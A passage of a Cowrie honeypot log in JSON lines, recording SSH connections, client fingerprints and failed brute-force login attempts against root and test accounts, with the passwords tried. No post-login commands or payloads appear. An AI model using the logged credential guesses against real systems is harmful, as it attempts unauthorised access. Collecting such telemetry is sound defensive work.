sa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:24.561731Z","src_ip":"88.147.30.59","session":"a7f00cd4dd4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:24.638700Z","src_ip":"101.36.124.219","session":"ec0406763ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"time","message":"login attempt [root/time] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:25.074819Z","src_ip":"88.147.30.59","session":"a7f00cd4dd4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:25.519130Z","src_ip":"101.36.124.219","session":"ec0406763ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:26.198316Z","src_ip":"88.147.30.59","session":"a7f00cd4dd4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:26.733922Z","src_ip":"101.36.124.219","session":"ec0406763ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":29570,"dst_ip":"10.17.0.5","dst_port":22,"session":"726e5849dde3","protocol":"ssh","message":"New connection: 176.65.132.190:29570 (10.17.0.5:22) [session: 726e5849dde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:30.197542Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:30.205019Z","src_ip":"176.65.132.190","session":"726e5849dde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.2","message":"Connection lost after 34.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:36.045733Z","src_ip":"8.218.166.49","session":"8225932aaeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6702561378479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:40.141795Z","src_ip":"104.238.81.133","session":"96a460d45311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":56114,"dst_ip":"10.17.0.5","dst_port":22,"session":"19db3cf41fb1","protocol":"ssh","message":"New connection: 182.180.57.212:56114 (10.17.0.5:22) [session: 19db3cf41fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:45.932874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:45.937764Z","src_ip":"182.180.57.212","session":"19db3cf41fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:46.168345Z","src_ip":"182.180.57.212","session":"19db3cf41fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1916","message":"login attempt [root/1916] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:47.118223Z","src_ip":"182.180.57.212","session":"19db3cf41fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:48.351460Z","src_ip":"182.180.57.212","session":"19db3cf41fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":53134,"dst_ip":"159.203.135.109","dst_port":22,"session":"417da8af85a7","protocol":"ssh","message":"New connection: 101.36.124.219:53134 (159.203.135.109:22) [session: 417da8af85a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.141805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.146509Z","src_ip":"101.36.124.219","session":"417da8af85a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.365598Z","src_ip":"101.36.124.219","session":"417da8af85a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.227.186","src_port":45222,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce605e0afe3","protocol":"ssh","message":"New connection: 104.28.227.186:45222 (10.17.0.5:22) [session: 2ce605e0afe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.437816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.441727Z","src_ip":"104.28.227.186","session":"2ce605e0afe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.555007Z","src_ip":"104.28.227.186","session":"2ce605e0afe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:43.904414Z","src_ip":"104.28.227.186","session":"2ce605e0afe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f","message":"login attempt [root/1a2s3d4f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:44.275168Z","src_ip":"101.36.124.219","session":"417da8af85a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:44.985003Z","src_ip":"104.28.227.186","session":"2ce605e0afe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:45.499620Z","src_ip":"101.36.124.219","session":"417da8af85a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:38:53.346149Z","src_ip":"8.218.166.49","session":"57c5c58adc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:05.199536Z","src_ip":"8.218.166.49","session":"4661c06b4ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:13.345215Z","src_ip":"8.218.166.49","session":"4661c06b4ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46016,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c30916d443","protocol":"ssh","message":"New connection: 8.218.166.49:46016 (10.17.0.5:22) [session: c5c30916d443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:18.532284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:19.137718Z","src_ip":"8.218.166.49","session":"c5c30916d443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:19.142439Z","src_ip":"8.218.166.49","session":"c5c30916d443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:21.261179Z","src_ip":"8.218.166.49","session":"c5c30916d443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:22.531407Z","src_ip":"8.218.166.49","session":"c5c30916d443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":60130,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1a443aec3a","protocol":"ssh","message":"New connection: 88.147.30.59:60130 (159.203.135.109:22) [session: 8f1a443aec3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:43.070691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:43.074531Z","src_ip":"88.147.30.59","session":"8f1a443aec3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:43.193493Z","src_ip":"88.147.30.59","session":"8f1a443aec3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adr1an","message":"login attempt [root/adr1an] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:43.707641Z","src_ip":"88.147.30.59","session":"8f1a443aec3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:44.831406Z","src_ip":"88.147.30.59","session":"8f1a443aec3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":45738,"dst_ip":"10.17.0.5","dst_port":22,"session":"87c311c9daca","protocol":"ssh","message":"New connection: 183.182.125.142:45738 (10.17.0.5:22) [session: 87c311c9daca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:49.765630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:49.770626Z","src_ip":"183.182.125.142","session":"87c311c9daca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:50.044259Z","src_ip":"183.182.125.142","session":"87c311c9daca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:51.167235Z","src_ip":"183.182.125.142","session":"87c311c9daca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:52.443493Z","src_ip":"183.182.125.142","session":"87c311c9daca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55894,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d8dc9814bad","protocol":"ssh","message":"New connection: 8.218.166.49:55894 (10.17.0.5:22) [session: 3d8dc9814bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:39:58.197206Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":45510,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcbc6e2ab04f","protocol":"ssh","message":"New connection: 101.36.124.219:45510 (159.203.135.109:22) [session: fcbc6e2ab04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:00.457922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:00.463449Z","src_ip":"101.36.124.219","session":"fcbc6e2ab04f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:40:00.530899Z","src_ip":"8.218.166.49","session":"3d8dc9814bad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com